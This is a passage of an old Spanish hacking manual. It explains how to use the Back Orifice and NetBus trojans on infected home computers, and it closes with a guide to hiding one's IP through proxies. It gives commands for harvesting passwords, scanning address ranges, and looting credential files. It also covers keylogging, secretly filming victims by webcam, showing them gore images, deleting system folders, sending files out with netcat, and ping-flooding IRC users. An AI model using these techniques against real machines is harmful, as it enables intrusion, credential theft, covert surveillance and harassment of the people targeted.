Bueno, lo típico; tan sencillo como teclear "passes" y te salen los passes de la máquina. Fácil, ¿no? . Ya.... pero uno se pregunta si realmente sirve de algo coleccionar pases de otra gente si generalmente cada uno tiene su ISP que no falla nunca y va tira bien. Bueno, como diría algún filósofo que ahora nomacuerdo, las cosas inútiles son a veces las más útiles. Coleccionar cuentas de muchos servidores sirve para: 1 - Tener versatilidad de IP = poder burlarse de controles de fowarders que filtran IPs. 2 - Experimentar los más y los menos de cada servidor. 3 - Aprender muchas DNS. ¿Sirve de algo? desde luego. Una persona que sabe Dns, sabrá y recordará fácilmente IPs, lo que hará coger gran agilidad a la hora de usar con dichos números. Introducción a las DNS: El DNS(Domain Names Server) es el rango de direcciones(o dominio)en que un ISP(Internet server Provider) puede nombrar a sus clientes. Cómo nombra a sus clientes? con el número de IP (Internet Protocol = que tb es un protocolo ICMP) El número está formado por cuatro octetos(octetos=8 bits=2^8=256), los cuales están formados por un número de 0 a 255. La IP tiene la estructura: 1er Octeto: Designa el número de red y designan a redes tipo "A" (mu grandes) Se evita el 0, 127 y 255. ¿por qué? El 0 se usa para una máquina que no se sabe desde qué red opera, ej: 0.0.0.23; nos encon- tramos con un host 23 que no tenemos ni idea desde dónde se conecta. El 127 porque cumplen especificaciones especiales. El 255 son direcciones de difusión(broadcast), es decir que cada sistema en una red puede ver. Digamos un símil: es un mensaje masivo en el IRC. XD 2o Octeto: Designa redes tipo "B". Vamos a ver, matemáticas: 256*256=64516 nodos! Son tipo B pero n´heu ni dó. Si tenemos encuenta que casi todos los ISP usan IPs dinámicos, nos sobran números; y por eso se usa una solución, establecer redes tipo "C" para ir ampliándolas a partir del tercer octeto. 3er octeto: 256 nodos al mismo tiempo. Ya no son tantos. Por eso, por ej, arrakis tiene una especificación tipo "C" con un dominio de 13 octetos (por ahora) Con el Bo, la forma de barrer dominios es "sweep" (to sweep=barrer), y como un sweeper o barrendero se tratase, la forma para encontrar lamers infectados con el bo es poniendo sweep y los 3 octales. Ej BO> SWEEP 195.55.158 (a ver el subdominio de JET...) He aquí una pequeña lista de dominios que he recopilado con mi esfuerzo: 62 . 81. 70-75 Retevision Barcelona 68 Retevision Madrid 81-88 Retevision Madrid 158. 42. 52 Upv (Universidad politécnica de valencia) 158.109. 9 Uab (Universidad autónoma de Barcelona) 194. 55.158 Jet 194.105. 5 Servicom

Page 84: El Libro Negro Del Hacker2

84

194.143.192 Encomix 194.179.106 Infernet 194.179.111 Gru 194.158. 88 Mypic.ad 194.224.200 Activanet 195. 5. 65-78 Arrakis 195. 53. 32 Abonad.cat 195. 53.232 Recol 195. 55. 11 Uniovi (Universidad de Oviedo) 195. 57.199 Idecnet 195. 76.154 Intercom 195. 77. 10 Upcnet (Universidad Politécnica de Catalunya, jeje, de donde yo vengo) 195. 77.101 Abaforum 195. 77.155 Minorisa 195. 77.240-241 Olivet 195.122.194-208 Redestb 195.122.174 Tekres 195.212. 25 Ctv 195.235. 57 Meditex 195.235. 32 Rad.tsai 206.117.176 Fx.org 207. 77.168 Hobbes.cis.net 208.164. 31 Pc-1080 212. 25.132-138 Ctv Además, para máxima comodidad, he decidido incorporar una referencia a servidores con sus respectivos DNSs primario y secundario respectivamente para configurac de redes Lo de AB es el ancho de banda del servidor. El correo electrónico corresponde al administrador. Con un poco de imaginación, se puede "usar" dicho correo para nuestro beneficio. Pidiendo datos específicos de los servidores como el número de usuarios en determinada hora para hacer una estadística, y determinar el grado de saturación... ===========Infovia==================================== DNS: 194.224.185.2 DNS: 194.224.185.5 =========== ARRAKIS ================================= PVP:3000/m AB:34 MB DNS:195.5.64.2 URL: www.arrakis.es [email protected] DNS:195.5.64.6 IRC: andromeda.irc;pleyades.irc;fuego.irc;orion.irc tel: 902.22.21 ==============CTV=================================== PVP:1500/m (5000a) AB:34 MB DNS: 194.179.52.2 URL:www.ctv.es [email protected] DNS: 194.57.142.21 IRC: europa.irc tel: 902.44.45.55 ===============================JET================================= Mens: 3500 IRC: polaris.irc AB: 34 MB

Page 85: El Libro Negro Del Hacker2

85

DNS: ???? ==============================REDESTB====================== PVP:1500/M AB: 3400 DNS: ???? URL: www.redestb.es [email protected] DNS: ??? IRC: pulsar.irc tel 91.891.44.81 ==============================SENDANET=================== DNS: 194.179.73.2 DNS: 194.179.73.8 ==============================SERVICOM=================== PVP:3700 AB: ??? DNS: ???? URL: www.servicom.es [email protected] DNS: ???? irc: sirius.irc Tel: 902.22.66.22 ===============================TELELINE================== PVP: 1500 AB: ??? DNS: 194.224.53.3 URL: www.teleline.es [email protected] DNS: 194.224.53.3 IRC: Ninguno Tel: 902.15.20.25 ahhhh, de este servidor tengo que hacer una comentario, no lo puedo evitar. Cómo es posible que anuncien este ISP por el mass media por excelencia "léase televisión" con la gran oferta de un modem de 56 k. Increible! Osea ahora los modems de "ahora" tienen 56 k de ram o rom o yo qué se. Voy a analizar un poquillo en anuncio. El ISP se jacta de proporcionar grandes servicios de asistencia a los clientes (en el anuncio los clientes son los monos), y los administradores de dicha red los genios que trabajan al otro lado del cristal. Pues bien, no voy a entrar en comeduras psicologistas del doble juego de los publicistas a la hora de representar la situación con semejantes esperpentos de símiles. Pero lo que me revienta es al final el genio de turno diciendo eso de, "y si conecta ahora a teleline le regalamos un modem de 56 k."!!! pero qué es eso?? ahora me entero que los modems de ahora van a 56 k! ¿56 k? por segundo???? pero si son mejores que los RDSI que van a venir y todo! no no no confundamos a los monos. se refieren a un modem de 56000 baudios. Sin entrar en tecnicismos de paridad, el CRC y tal y cual, diremos que cada baudio es un bit y 8 bits es un byte. y 1024 bytes es 1 Kb. osease. un modem de esas características tiene llega a un flujo DI o DO (data IN o OUT) de.... casi 7 kb/s. Eso sin contar que no veremos esa velocidad con "nuestra" maravillosa infovía hasta dentro de un tiempo, Creo yo que el futuro pasa por el cable y el futuro más lejano por un cambio de especificación de protocolo para implementar una comunicación por satélite. Eps, que me voy de la olla. ¿esto qué éh¿, un cajón de sastre o un manual de bo... :/ Volvamos: - El bo cuando pilla una cuenta, suele pillar otros datos que vienen en forma de basurilla

Page 86: El Libro Negro Del Hacker2

86

al lado del password... cómo entonces diferenciar el password de lo que no lo es? pues para eso el bo, inteligentemente reitera un password varias veces para que por exclusión saquemos el password. Si tenemos: Password: 'jose1233ÖÖst\Sites\Arrakis\ Password: 'jose613Ñ,' Está claro que el password es 'jose' por extrusión. El BO tb proporciona passwors de páginas web, pero yo no he conseguido entrar con dichos passwords a NINGUNA.... :( ¿por qué?. Ej: Resource: 'members.hardcoresex.com/live xxx videos' Password: 'teqtero:141533' se trata de un club xxx, pero, el login y el password cuál es? teqtero y 141533 respectivamente???? Pruebo... pues no! qué falla? si alguien sabe la respuesta que me lo haga saber: [email protected] ********************************************************** EXPLORAR SISTEMAS REMOTOS ********************************************************** Los sistemas remotos usan windows 95 o windows 98 (cada vez más..), si yo tb tengo eso, qué es lo que hay que explorar..?¿ Con explorar me refiero a aprender a discriminar lo importante de un sistema de lo que no tiene ningún valor. Digamos, que cuando entras en un sistema y haces un "dir", te situas más o menos de quien se trata. Yo he entrado en "bastantes" sistemas y la experiencia me dice que los "dirs" a primera vista son bastante sugestivos. Pero no obstante, el bo implementa una función llamada find para localizar ficheros, ¿por algo será no? Yo personalmente prefiero entrar siempre con telnet al command (ver PARTE II) y hacer un dir a*.* /s, cuestión de gustos. Luego copio todos los ficheros de interés a un direc- torio deltro del temporal windows y me mediante un httpon 40 c:\windows\temp\recolecta recojo la "RECOLECTA" Qué es lo que interesa de un sistema??? pues.... - Los archivos PWL, guardan todos los passwords de internet y de conex a redes; osease lo que hace el bo con "passes", lo puedes hacer tu manualmente obteniendo el programilla crackeador pwlcrack.exe y haciendolo tu manualmente. - System.ini, con el login y password que guardan los pwl. - scytale.log, si el lamer guarda logs, ahí estarán las claves de autentificación.

Page 87: El Libro Negro Del Hacker2

87

Tengo conocimiento de un caso,en el cual la víctima era una administradora de un canal que no voy a comentar, el cual los listos con psedónimo "kpullazo" y "kabron2" se autentificaron y cambiaron el password, así, la verdadera administradora no podía autentificarse. Mientras los otros tomaron entre risas y burlas el canal... y la gente atónita con tan sublime espectáculo, los dos "listos" pasaron por hackers como los de las películas y los periódicos de verdad. - tree.dat, del cuteftp con las claves de direcciones FTP que se pueden crackear con cutecrack - eudora.ini, passwords del mail eudora. Bueno, a parte de eso, puedes "chafardear" con los logs y documentos personales; como los curriculum vitaes que tanto aparecen, las fotos personales, apuntes y trabajos de la escuela e informes y todo. Mi experiencia me indica que "chafardear" es tan lúdico como ver la televisión, por lo que si no tienes una 900 (la mía sacabo hace 3 días sniff...), mejor ver ésta última porque los bolsillos lo notarán. XDD. Mi opinión es que leer logs y tal es comparable a leer revistas del corazón, osea tremendamente idiota y tonto hacerlo sistemáticamente. ***************************************************** USAR EL NODO DE CONEXIÓN DEL LAMER PARA OTROS FINES ***************************************************** Público - Cómo? no entiendo.... qué esto? ReSeT - Sencillamente usar el módem del lamer para otros menesteres. Por ejemplo, pinguear a alguien a través del comando PING que es nativo del "maravilloso" GÜindows. o pinguear a "Muchos" Para quien no sabe muy bien qué es un PING le diré que es un paquete ICMP con el flag SYN, . y que está obligado a quien lo recibe a contestar con otro paquete de respuesta (el echo que se llama, echo=eco) de ahí eso de echo requester=petición de eco. Generar muchos pings no consume casi AB de conex y contestarlos, en cambio, bastante. De esta forma, si mandas muchos pings a una máquina, está se dedicará a contestar tus pings y le irás comiendo progresivamente AB hasta que le satures completamente la conex porque ésta sólo se dedica a contestar tus pings... es en este momento en que el servidor IRC "ve" que dicha máquina no está disponible y es expulsada del IRC. El ping flood ha sido llevado a cabo con éxito. (to flood=inundar). Claro que si pingueas desde varios puntos, la víctima será floodeada con más éxito. Ya que si la máquina "sólo" se dedica a hablar por IRC, dicha actividad consume un AB muy pequeño y será más difícil pinguearla. Más fines, más..... La opción redireccionamiento que tanto gusta a los boadictos. Y no es para menos.

Page 88: El Libro Negro Del Hacker2

88

Tengo que reconocer que yo no tengo mucha experiencia en esto y ni me he encontrado con nadie que me explique cosass claramente. Solicito ayudaaaaa [email protected] Para pasar anónimo: rediradd 666 (servidor ip nuevo):31337 Tb hay un truquillo de redireccionamiento que se trata de provocar un reset by peer a la víctima haciéndolo tu tb con un clon. Proceso: averiguar la dns del servidor irc el cual está el lamer. con >/dns irc.redestb.es (por ej.) para poner puesta a punto su pc poner: BO> REDIRADD 1001 XXX.XXX.XXX.XXX:6667 , donde XXX.XXX.XXX.XXX es el dns del servidor irc En status(del segundo irc que abres) poner: >/server XXX.XXX.XXX.XXX:1001 Estoy casi seguro que esta función es la más interesante del BO, pero no he sabido encontrar gente que sepa sobre esto... :(( ayudaaaaa ******************************************************* PARA REIRSE Y PASAR UN RATO DIVERTIDO A COSTA DEL LAMER ******************************************************* Esta parte podría ocupar un tomo de 500 páginas de cómo sadiquear con tu víctima hasta la extenuación. Voy a contar mis peripecias: - Susto "visual": un día me pasaron una foto realmente asquerosa que no voy a describir porque no quiero que me vuelvan a entrar arcadas... bueno. la cuestión que se me ocurrió por mediación de NETBUS y su opción SHOWIMAGE, mostrar la imagen a uno de mis lamers. (por cierto, si alguien ha encontrado el fichero app.exe como nombre del server del netbus, ese es mi lamer). El proceso es sencillo: bo> HTTPON 40 C:\WINDOWS IE HTTP:\\XXX.XXX.XXX.XXX:40 NETBUS UPLOAD-----> FOTO GORE ahora el intrículis.... qué sentido tiene mandar la foto si no te enteras de la cara que pone, ni siquiera sabrás a ciencia cierta si la va a ver... pues para qué sirve el comando CAPAVI? Claro que para ello tiene que tener una webcam, algo que tampoco es tan difícil si pillas a mucha gente cada día... con BO> LISCAPS 0 webcam II blah blah efectivamente: bo> CAPAVI C:\WINDOWS\TEMP\CARA.AVI 0,320,200,256 ahora rápido: NETBUS SHOWIMAGE -> C:\WINDOWS\IMAGE.JPG justo, para "verle" el careto. luego tienes que bajarte el archivo y guardalo en el directorio "trofeos" XDDD

Page 89: El Libro Negro Del Hacker2

89

Cuánto okupa? pues 1,5 MB.... estarás 15 min bajándotelo, o bien, otro día. (lo malo es el directorio temp)... tb se aconseja directorio c:\windows\drwatson\a por qué el dr watson? porque nunca lo encontrará ahí el lamer, seguro que no sabe ni qué es eso... XDD - Cambiar el fondo del escritorio: Bajarse el fichero win.ini Crear con photoshop la imagen que quieras que aparezca en el escritorio del lamer/S. y grabarla xxx.BMP(se recomienda que no okupe toda la pantalla,... si no quieres estár media hora pasándole el archivito...) Ahora te bajas su win.ini y lo editas con EDIT y con la opción buscar, buscas desktop. La encontrarás: [desktop] wallpaper=c:\windows\peces.bmp tilewallpaper=0 wallpaperstyle=0 pattern=(nono) pues cambiar c:\windows\peces.bmp por c:\windows\xxx.bmp lo subes otra vez. ya está. - Putaditas varias: cambiar el logo.sys. logow.sys y logos.sys por otras imágenes que te gustaría que el lamer tenga que ver al apagar y encender su sistema. El logo.sys= windows 95 (ojo! no win98) El logos.sys =win95/98 mensaje windows preparadose para cerar... El logow.sys =win95/98 mensaje windows ahora puede apagar el equipo - Editar el mirc.ini y cambiar lo que se te ocurra. - en el system.ini: cambiar shell=explorer.exe por shell=progman.exe Es decir, cambiar el explorer por una especie vestigio del windows 3.11 XDDDDD - Cambiar win32help.exe por tour98.exe Es decir, cuando pulse f1 verá un paseo por windows (eso en win 98, en 95 creo que se llama de otra manera) XDDDDDDDDDDDD - Cambiar el registro! en HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUNONCE\..... meter el programa que en el directorio windows quiera que se cargue. por ejemplo: una imagen grabada .exe o bien, hacer que se carguen muchas chorradas al principio: calc, el write, defrag,mplayer, control, progman, o bien, un programa que reboota directamente, lo malo es que abusar, hará que el lamer se reinstale el windows y nos borrará del registro nuestro "amigo" bo.

Page 90: El Libro Negro Del Hacker2

90

PARTE II En este manual los [] significará que el modificador es de especificación incondicional. Los () significará que el modificacor es de especificación condicional Los {} significará que el modificador es de especificación optativa - Aplicaciones de Consola -____________________________________________________ APPADD [nombresexe] puertodeentrada Escribe un texto basado en una aplicación de un puerto TCP. Con telnet se puede conectar vía: 7 echo 13 daytime 17 qoutd 19 chargen 23 Telnet Esto te permite controlar un texto o una aplicación DOS, como COMMAND.COM vía telnet usage: appadd "exefilename paramaters" inport example2: appadd "netstat -na" 998 APPDEL Para una aplicación de conexiones de escucha APPDEL - Removes a console application from the redirected console apps usage: appdel appid example: appdel 0 APPLIST Lista las aplicaciones actualmente en escucha de conexión.

Page 91: El Libro Negro Del Hacker2

91

-COMANDOS DE FICHEROS-________________________________________________________ CD [ruta] Para acceder a directorios de nombres largos se ha de poner entre paréctesis. Por ejemplo si se quiere acceder al directorio <mis documentos> se ha de telclear: cd "mis documentos" MD [ruta] Crea directorio Los directorios que es interesante crear son los que el server crea que son de sistema por ejemplo c:\windows\temp RD [ruta] Borra directorio. Si hay alguien que realmente se lo merece, los directorios que pueden ser interesantes de borrar son: c:\windows\fonts; c:\windows\win32\c:\windows\system DIR {ruta} Directorio Admite wildcards FIND [fichero] [ruta] : encuentra ficheros dentro de los subdirectorios de la ruta. Admite wildcards. He aquí una lista de tipos de archivos: AVI:(Animation Video Interface) Para animaciones MP3: Música MP3 MPG: Peliculillas... LOG: Para leer los logs del lamer COPY [origen] [destino] copia un archivo. usage: copy sourcefilename targetfilename example: copy c:\windows\system\bo.exe \\server\c\windows\startm~1\programs\st REN [origen] [destino] Renombra un archivo o directorio. usage: ren oldfilename newfilename example: ren c:\windows\fonts c:\windows\f DEL [fichero] : borra un archivo FREEZE [fichero] [fichero_comprimido]

Page 92: El Libro Negro Del Hacker2

92

FREEZE - Compresses a file. Esta instrución no admite wildcards, por lo que sólo funciona con un archivo. Recomendaría llamar a los archivos comprimidos .frz. ejemplo: freeze c:\windows\temp\cap.bmp c:\windows\temp\c MELT [fichero_comprimido] [fichero] Descomprime un archivo ejemplo: melt c:\windows\temp\t c:\windows\desktop.bmp VIEW Ve un archivo de texto VIEW - Views a textfile usage: view filename example: view c:\windows\system.ini -REDIRECCIONAMIENTO-________________________________________________________ REDIRADD: redirecciona las conexiones RCP o los paquetes UDP a otra dirección IP REDIRADD - Adds a port redirection usage: rediradd inputport outputip:port,udp example1: rediradd 33331 205.183.56.7:31337,U example2: rediradd 1001 207.213.15.11:23 note: If no output port is provided the input port is used. REDIRDEL: para el redireccionamiento de un puerto REDIRDEL - Deletes a port redirection usage: redirdel redirnumber example: redirdel 0 REDIRLIST REDIRLIST - Lists the current port redirections - REGISTRO-_____________________________________________________ REGMAKEKEY [llave] Crea una llave en el registro No especifique la cabecera \\ para los valores de registro. Los registros son: hkey_classes_root hkey_current_user hkey_local_machine hkey_current_config

Page 93: El Libro Negro Del Hacker2

93

ejemplo: regmakekey HKEY_LOCAL_MACHINE\SOFTWARE\MyWare REGDELKEY [llave] Borra una llave del registro ejemplo: regdelkey HKEY_LOCAL_MACHINE\SOFTWARE\MyWare REGDELVAL [nombre del valor] Borra un valor del registro ejemplo: regdelval HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\CurrentVersion\Run\netwatcher REGLISTVALS [llave]: lista los valores de una llave de registro. Si está incompletamente especificada muestra solo el número de llaves creadas en dicho registro. Nota: este comando suele tardar un tiempo en ejecutarse... es bastante inestable y se recomendaría ejecutarlo en el GUI client. REGSETVALS: Fija un valor para una llave de registro, creándola si ésta no existe.. BIN: AF,2B... DWORD: 1 S: Cadena usage: regsetval valuename type,value example1: regsetval HKEY_LOCAL_MACHINE\SOFTWARE\BinaryValue B,08090A0B0C0D0E0F10 example2: regsetval HKEY_LOCAL_MACHINE\SOFTWARE\DwordValue D,54321 example3: regsetval HLEY_LOCAL_MACHINE\SOFTWARE\StringValue "S,This is a stringvalue" note: Binary values (type B) are specified in two digit hex values, Dword valu es (type D) in decimal RESOLVE: da el host RESOLVE - Resolves the ip of a hostname from the remote host usage: resolve servername example: resolve server2 -SISTEMA-_______________________________________________________________________ DIALOG: crea un diálogo con el texto dado y un OK. Puedes hacer muchos y si aparecerán en el servidor en forma de cascada

Page 94: El Libro Negro Del Hacker2

94

usage: dialog dialogtext titletext example: dialog "Get back to work you lazy bum!" "A message from the managemen t:" INFO: muestra información sobre el servidor: Por ejemplo: System info for machine 'DEFAULT' Current user: 'pallares' Processor: I586 Win32 on Windows 95 v4.10 build 1998 - Memory: 31M in use: 100% Page file: 94M free: 63M C:\ - Fixed Sec/Clust: 32 Byts/Sec: 512, Bytes free: 65077248/848199680 D:\ - Fixed Sec/Clust: 64 Byts/Sec: 512, Bytes free: 2069626880/2.130.018304 E:\ - CD-ROM End of system info nombre de máquina usuario CPU Version del sistema operativo memoria disponible Información de unidades (byts/sec, bytes libres) LOCKUP: Bloquea el sistema del server PASSES: Te da los passwords de conexión y otros... REBOOT: apaga el sistema y reboota -TCP-_______________________________________________________________________ TCPRECV: conecta el servidor a un IP específico y puerto y guarda algo de datos de esa conexión a un fichero especificado. TCPRECV - Connects the server to an ip and receives a file usage: tcprecv filename targetip:port example: tcprecv c:\file 206.165.128.130:999 TCPSEND: Conecta el server a un IP específico y envía los contenidos a un fichero específico.

Page 95: El Libro Negro Del Hacker2

95

Entonces desconecta. nota: una utilidad para hacer esto es NETCAT Netcat -1 -p 666 >file -------------> desde el server Netcat -1 -p 666 <file--------------> al server TCPSEND - Connects the server to an ip and sends a file usage: tcpsend filename targetip:port example: tcpsend c:\file 206.165.128.130:999 -PLUGINS-__________________________________________________________________ PING: retorna el nombre de la máquina y la versión del BO. Interesante para ver si la máquina vive o ha desconectado. PLUGINEXEC Ejecuta un plugin del Back Orifice. Si es de otro programa puede bloquearse el sistema del server usage: pluginexec dllname:pluginname pluginargs example: pluginexec bos:_SniffPasses 0001 c:\sniff.log PLUGINKILL: apaga algún plugin específico PLUGINKILL - Tells a plugin to terminate usage: pluginkill pluginid example: pluginkill 0 PLUGINLIST: lista los plugins activos o retorna los plugins que existen PLUGINLIST - Lists active plugins -PROCESOS-________________________________________________________________ PROCKILL: termina el proceso PROCKILL - Kills a running process usage: prockill processid example: prockill 4294651219 note: processid's are listed by PROCLIST PROCLIST: lista los procesos en marcha

Page 96: El Libro Negro Del Hacker2

96

PROCSPAWN: carga un programa Desde GUI: si el segundo parámetro es especificado el proceso será ejecutado como visible. De otra manera será oculto. PROCSPAWN - Spawns a process usage: procspawn exename arguments example: procspawn command.com /C netstat -na > c:\windows emp HTTPOFF: quita el servidor HTTP HTTPON: pone el servidor HTTP HTTPON - Enables the http server usage: httpon port root example1: httpon 80 c:\www example2: httpon 9999 note: If no root is supplied, all drives are accessable via http KEYLOG: logea las pulsaciones del server a un fichero de texto KEYLOG - Logs keystrokes to file usage: keylog logfilename example: keylog c:\windows\temp\t\l note: Use 'keylog stop' to end keyboard logging KEYLOG END: para el logeo -MULTIMEDIA-_______________________________________________________ CAPAVI [ficheroavi] [segundos]{,dispositivo,anchura,altura,numcolores} Captura video de un dispositivo de captura de video los segundos especificados Ejemplo: capavi c:\windows\desktop\you.avi 10,0,160,120,16 CAPFRAME [nombrebitmap] {dispositivo,anchura,altura,numerodecolores} Captura la imagen de un dispositivo de imagen como una webcam.. Este comando para que funcione debe existir dicho dispositivo de imagen (lo comprobamos con listcaps) y luego a de estar encendido. Lo que le hace un comando muy restrictivo... Los valores determinados son 0,640,480,16 Ejemplo c:\windows\temp\webcam.bmp 0,320,200,16 CAPSCREEN [nombrebitmap] Captura la pantalla del sever a un fichero mapa de bits nombrado nombrebitmap

Page 97: El Libro Negro Del Hacker2

97

example: capscreen c:\windows\temp\pantalla_del_lamer.bmp LISTCAPS Lista los dispositivos que pueden capturar video. Naturalmete si muestra alguno dará luz verde para que CAPFRAME capture algo de interés... ex LISCAPS: 0: miroVIDEO DC20, Motion JPEG Capture/CODEC Board Version: 0.1.0.3 SOUND [ficherowav] Reproduce un WAV en el servidor example: sound c:\mirc\sound\burro.wav -NET-______________________________________________________________ NETLIST: lista las conexiones de red. Mensajes de error: Current connections: Error 1222:Falta la red o bien no se ha iniciado opening network enumeration Persistent connections: Incomming connections: NETDISCONNECT Desconeca los dispositivos de red, dominiosm servidores y exportaciones visuales de la máquina servidora. NETDISCONNECT [entornodered] Desconecta la máquina del entorno de red example: netdisconnect \serverdmin$ NETCONNECT [entornodered] {password} : conecta la máquina a un entorno de red. ejemplo: netconnect \serverdmin$ s3cur3 ============================================================================== NAVEGANDO ANONIMAMENTE - SERVIDORES PROXIES by =VoraX= ============================================================================== I. ¨Que es un proxy server?

Page 98: El Libro Negro Del Hacker2

98

II. ¨Para que sirve un proxy? III. ¨Como uso un proxy con mi navegador? IV. ¨Que proxies puedo usar? (I) ¨Que es un proxy server? La traduccion de la palabra "proxy" es "apoderado" o "sustituto", es decir una persona que toma la identidad de otra para determinada tarea. Aplicado a la computacion y a Internet un proxy es un servidor que sirve de intermediario entre un cliente y otro servidor. CONEXION NORMAL SIN PROXY (A <-> B) [RESPUESTA] <CLIENTE> <------- <SERVIDOR> (navegador,ftp) ========> (HTTP,FTP,etc) (gopher,etc) [PEDIDO] El cliente (A) que puede ser un navegador, un cliente ftp o de cualquier otra clase se conecta con el puerto correspondiente del servidor (B). CONEXION CON PROXY (A <-> C <-> B) [RESPUESTA] ======= [RESPUESTA] <CLIENTE> <------ | PROXY | <------- <SERVIDOR> (navegador,ftp) =======> | SERVER| =======> (HTTP,FTP,etc) (gopher,etc) [PEDIDO] ======= [PEDIDO] En este caso el cliente (A) se conecta con un puerto especifico del servidor proxy (C), y hace un pedido a otro servidor (B). El proxy C se conecta con B y hace el pedido, luego de recibir la respuesta se la envia al cliente original A. CONEXION CON CACHE PROXY SERVER [RESPUESTA] ======= [RESPUESTA] <CLIENTE> <------ | PROXY | <------- <SERVIDOR> (navegador,ftp) =======> | SERVER| =======> (HTTP,FTP,etc) (gopher,etc) [PEDIDO] ======= [PEDIDO] || \/ [<CACHE>] \-------/ Esta conexion es igual a la anterior con la diferencia de que el

Page 99: El Libro Negro Del Hacker2

99

servidor proxy tiene un cache (en disco) donde almacena las respuestas a los pedidos de los clientes (A). En una conexion normal cada programa cliente se comunica con el puerto correspondiente en el servidor.Por ejemplo, cuando usamos un navegador, este se contacta (generalmente) con el puerto 80 de la otra computadora. Cuando bajamos una pagina el pedido se hace a ese puerto, y de alli se reciben las respuestas. Cuando usamos el ftp pasa lo mismo pero con un puerto distinto (23) aunque en realidad se usan otros para los datos, pero no es tema de este texto. En cambio, si usamos un proxy el programa cliente se conecta a un puerto en una computadora donde funciona el "Proxy Server" y le hace un pedido de otro servidor en otro puerto pero de un servicio especifico(http-ftp-etc) Por eso existen distintos tipos de proxies de acuerdo al tipo de servicio que soportan, lo que mas frecuentemente encontramos es: "HTTP proxy server" y "FTP proxy server" (II) ¨Para que sirve un proxy? Los proxies tienen muchas utilidades, generalmente funcionan junto con las firewalls, se usan de cache para acelerar la navegacion en LAN's o hasta en ISP, pero el uso que nosotros le vamos a dar es el de ANONIMIZADOR Como vimos antes, si nos conectamos a un servidor X mediante un proxy, nosotros hacemos el pedido al proxy, el proxy lo hace al servidor X y nos envia la respuesta a nosotros. Por lo tanto en X queda registrado que se conecto el proxy y no directamente nosotros. Aunque en los logs del proxy puede figurar nuestra IP y a donde nos conectamos. En definitiva usando proxies ocultamos nuestra IP, y por lo tanto nos ANONIMIZAMOS. (III) ¨Como uso un proxy con mi navegador? Lo que necesitamos para usar un proxy en un programa cliente es configurar su direccion (IP o nombre) y el puerto en el que funciona. Debemos conocer que tipo de servicios soporta el proxy, de acuerdo a esto cambia el puerto en el que funciona, aunque hay muchas excepciones. En algunos programas tenemos casillas para completar la direccion y el puerto de un proxy para cada servicio en otros debemos poner la URL de la forma http://DOMINIO:PUERTO ej: http://Proxy.wasantara.net.id:8080 Los tipos de proxy que soportan muchos navegadores son:HTTP,FTP,GOPHER, WAIS, Security y SOCKS. Los cuatro primeros creo que los conocen porque hasta en el texto mas chico y estupido sobre internet los describe. El Security es para manejar el SSL.SOCKS se usa en las firewalls para controlar el acceso a servicios en Internet, sirve de filtro de las conexiones, permite loguear tan especificamente, permitir o no el acceso a determinados sistemas y muchas otras funciones. COMO CONFIGURAR LOS PROXIES EN LOS NAVEGADORES MAS CONOCIDOS:

Page 100: El Libro Negro Del Hacker2

100

=Netscape 1.22 (e inferiores)= Menu Options->Prefereces->Proxy (Resetear?) =Netscape 2.0 (y superiores)= Menu Options->Network Preferences->Proxy =Netscape 4.x = Menu Edit->Preferences...->Doble clik en Advanced->Clik en Proxies-> (en la derecha) marcar Manual Proxy Configuration -> Click en boton View =Internet Explorer 2.0 for windows = Clikea con el boton derecho sobre el icono->selecciona Properties->Advanced ->Use proxy server-> http://algun_proxy.com:8080 =Internet Explorer 3.0 for windows = 1)Menu View->Options->Connection-> 2)Marcar Connect through a proxyserver 3) clikea en Settings y pone http://algun_proxy.com:8080 =Internet Explorer for Mac OS= Menu Edit->Options->Proxy->http://algun_proxy.com:8080 =NCSA Mosaic for Unix 2.4 (o superior)= Se deve setear la variable de entorno http_proxy a http://algun_proxy.com: esto depende del shell: csh -> setenv http_proxy http://algun_proxy.com:8080 bash-> export http_proxy='http://algun_proxy.com:8080' =NCSA Mosaic for Macintosh 2.0 (o superior)= Menu Options->Preferences->Use Cern proxy service->Gates Setear el HTTP gate a algun_proxy.com y en el segundo casillero el port =Enchanced Mosaic for Macintosh= Menu Edit->Prefereces->Proxy server poner http://algun_proxy.com:8080 =Lynx for Unix 2.3 o superior = Igual que el NCSA MOSAIC hay que setear la variable de entorno.(ver arriba) Para configurar en otros programas buscar en la ayuda y en los menues o se pone la URL o la direccion y el puerto. (IV) ¨Que proxies puedo usar? Hace un tiempo se hizo famoso el www.anonymizer.com, este brinda el servicio de anonimizacion, claro se hizo pago y tenemos un retardo de

Page 101: El Libro Negro Del Hacker2

101

unos segundos cada vez que lo usamos si no abonamos. Pero existen muchos otros proxies en el mundo que nos pueden servir, algunos son reservados para determinados usuarios, otros filtran, algunos dicen que borran sus logs semanalmente, otros que se los dan a la justicia si se los piden, unos son mas rapidos otros son lentos. Por eso es cuestion de buscar y encontrar uno que nos brinde seguridad y velocidad (servicio y limpieza?:) , FTP y HTTP como minimo. Si encuentran un proxy fijense de que tipo es, generalmente se ven cosas com FTP:1030 SOCK:8010 HTTP:8080 esto indica en que puerto soporta cada servicio. ALGUNOS PROXIES EN EL MUNDO: (AUSTRALIA-ALEMANIA-BELGICA-USA-INDONESIA-ISRAEL-ITALIA-GRECIA-ESPA¥A-HOLANDA) web.mit.edu:80 (funciona siempre pero es 'conocido') win.tue.nl:8080 (dejo de funcionar) proxy.magusnet.com:8080 (no funciona-probar) proxy.voz.cz:8080 (probar) proxy.di.uoa.gr:8080 proxy.aljan.com.au:8080 socks:8010 (restringido?) white.aljan.com.au:8080 socks:8010 (restringido?) wwwproxy.weizmann.ac.il:8080 Proxy.wasantara.net.id:8080 o 3128 202.159.81.75 (funciona bien) proxy.netura.net.id:8081 proxy.belnet.be:8000 proxy.tarheel.net:8080 [ de los siguientes no se nada, averiguen los puertos y demas datos] frankfurt.www-cache.dfn.de cache.nic.surfnet.nl koeln.www-cache.dfn.de proxy.cineca.it proxy.imaginet.be proxy.rediris.es proxy.interpac.be proxy.skynet.be [ si conocen mas o mejores mandenme mail] Prueben todos los que puedan y elijan, les recomiendo visitar la pagina web de cada uno para informarse que tipo de proxy es y como manejan los logs. Recuerden que sites como hotmail nos rebotan si usamos proxies conocidos, prueben con otros y listo! Para comprobar que realmente estan ocultando su procedencia pueden hacerlo en la misma pagina de Raregazz, en la parte de mensajes anonimos aparece su direccion IP, prueben con y sin proxy. Para FTP conectence con algun servidor que les diga "Hola [tu IP] te estamos vigilando" :) que vigilen...

Page 102: El Libro Negro Del Hacker2

102

